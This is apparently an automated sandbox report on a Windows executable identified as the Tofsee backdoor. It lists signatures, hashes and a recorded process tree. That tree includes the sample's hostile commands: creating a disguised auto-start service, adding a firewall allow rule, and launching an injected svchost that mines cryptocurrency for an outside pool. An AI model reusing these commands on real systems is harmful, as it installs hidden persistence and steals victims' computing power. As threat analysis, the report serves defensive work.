Overview

overview

10

Static

static

0c3080ef33...32.exe

windows7_x64

10

0c3080ef33...32.exe

windows10_x64

10

Analysis

  • max time kernel
    149s
  • max time network
    149s
  • platform
    windows10_x64
  • resource
    win10v20201028
  • submitted
    09/11/2020, 21:16

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    0c3080ef33448167fc2b858db5ec7b2e4705cb12ca57119088892459ea0cc832.exe
  • Size 14.7MB
  • Sample201109-e8d9t7nasa
  • SHA256 0c3080ef33448167fc2b858db5ec7b2e4705cb12ca57119088892459ea0cc832
  • MD5 SHA1 SHA512
Score
10/10
tofseeevasionpersistencetrojan

Malware Config

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

    trojantofsee
  • Windows security bypass 2 TTPs
    evasiontrojan
  • Creates new service(s) 1 TTPs
    persistence
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs
    evasion
  • Sets service image path in registry 2 TTPs
    persistence
  • Deletes itself 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Modifies service 2 TTPs 1 IoCs
    persistence
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Modifies data under HKEY_USERS 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\0c3080ef33448167fc2b858db5ec7b2e4705cb12ca57119088892459ea0cc832.exe
    "C:\Users\Admin\AppData\Local\Temp\0c3080ef33448167fc2b858db5ec7b2e4705cb12ca57119088892459ea0cc832.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:576
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\ygrbywbm\
      2⤵
        PID:3208
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\tvozgocs.exe" C:\Windows\SysWOW64\ygrbywbm\
        2⤵
          PID:2440
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create ygrbywbm binPath= "C:\Windows\SysWOW64\ygrbywbm\tvozgocs.exe /d\"C:\Users\Admin\AppData\Local\Temp\0c3080ef33448167fc2b858db5ec7b2e4705cb12ca57119088892459ea0cc832.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
            PID:204
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" description ygrbywbm "wifi internet conection"
            2⤵
              PID:2316
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" start ygrbywbm
              2⤵
                PID:4056
              • C:\Windows\SysWOW64\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                2⤵
                  PID:2120
              • C:\Windows\SysWOW64\ygrbywbm\tvozgocs.exe
                C:\Windows\SysWOW64\ygrbywbm\tvozgocs.exe /d"C:\Users\Admin\AppData\Local\Temp\0c3080ef33448167fc2b858db5ec7b2e4705cb12ca57119088892459ea0cc832.exe"
                1⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious use of WriteProcessMemory
                PID:1160
                • C:\Windows\SysWOW64\svchost.exe
                  svchost.exe
                  2⤵
                  • Deletes itself
                  • Drops file in System32 directory
                  • Modifies service
                  • Suspicious use of SetThreadContext
                  • Modifies data under HKEY_USERS
                  • Suspicious use of WriteProcessMemory
                  PID:856
                  • C:\Windows\SysWOW64\svchost.exe
                    svchost.exe -o msr.pool.gntl.co.uk:40005 -u 5nFN8BzQ1qP3PkbVHj5ooXSENsHFHMAj51jbA7YySkuEH8nBDYWHhhFQjiwcVqb9H8Soz3YTG6SijYVz1ntV1TAa5qAMCwu+60000 -p x -k
                    3⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:3960

              Network

                    MITRE ATT&CK Enterprise v6

                    Replay Monitor

                    Loading Replay Monitor...

                    Downloads

                    memory/576-1-0x0000000002AB0000-0x0000000002AB1000-memory.dmp
                    Download

                    memory/576-0-0x00000000027F1000-0x00000000027F2000-memory.dmp
                    Download

                    memory/856-17-0x0000000002950000-0x0000000002960000-memory.dmp
                    Download

                    memory/856-16-0x0000000002940000-0x0000000002946000-memory.dmp
                    Download

                    memory/856-20-0x0000000002BD0000-0x0000000002BD7000-memory.dmp
                    Download

                    memory/856-19-0x0000000008DD0000-0x00000000091DB000-memory.dmp
                    Download

                    memory/856-18-0x0000000002960000-0x0000000002965000-memory.dmp
                    Download

                    memory/856-12-0x0000000002890000-0x00000000028A5000-memory.dmp
                    Download

                    memory/856-15-0x0000000004650000-0x000000000485F000-memory.dmp
                    Download

                    memory/1160-11-0x0000000002B30000-0x0000000002B31000-memory.dmp
                    Download

                    memory/3960-21-0x0000000002800000-0x00000000028F1000-memory.dmp
                    Download